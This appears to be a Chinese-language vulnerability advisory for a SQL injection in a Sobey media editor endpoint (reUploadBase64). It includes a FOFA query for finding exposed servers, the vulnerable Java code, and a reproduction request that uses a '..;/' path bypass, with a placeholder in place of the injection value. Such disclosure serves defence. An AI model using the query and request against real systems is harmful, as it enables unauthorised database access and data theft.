漏洞简介
索贝产品中的 /sobey-mchEditor/mch/TestInt/reUploadBase64 接口存在SQL注入漏洞,攻击者可以通过构造恶意的SQL语句,获取数据库中的敏感信息,甚至可能导致数据库被完全控制。
影响版本
fofa语法
icon_hash="689611853"||app="SOBEY-融媒体" || body="You need to enable JavaScript to run this app" && header="Sobey"
漏洞分析
根据漏洞信息看下mch/TestInt/reUploadBase64的实现逻辑
@RequestMapping(
value = {"/reUploadBase64"},
method = {RequestMethod.GET}
)
public Response reUploadBase64(@RequestParam(value = "ids",required = false) String ids, String token) {
QueryBuilder qb = new QueryBuilder("select id from zcnarticle where 1=1 ");
if (!StringUtils.isEmpty(ids)) {
SchemaSQLUtil.appendInCondition(qb, "id", Arrays.asList(ids.split(",")));
} else {
qb.append(" and content like '%base64,%' union select id from zcnarticle where 1=1 and logo like '%base64,%' ");
}
List<Map<String, Object>> rows = qb.executeAliasListMap();
参数ids无任何过滤或校验处理,被直接拼接到qb这个sql语句中执行,从而造成了SQL注入漏洞;但是ids会被逗号分割,因此利用有限。
漏洞复现
GET /sobey-mchEditor/js/..;/mch/TestInt/reUploadBase64?ids=SQLI_POC&siteCode=1&token=1 HTTP/1.1
Host: sobey.mrxn.net

报错回显获取到当前表名前缀 articl_c7ee17

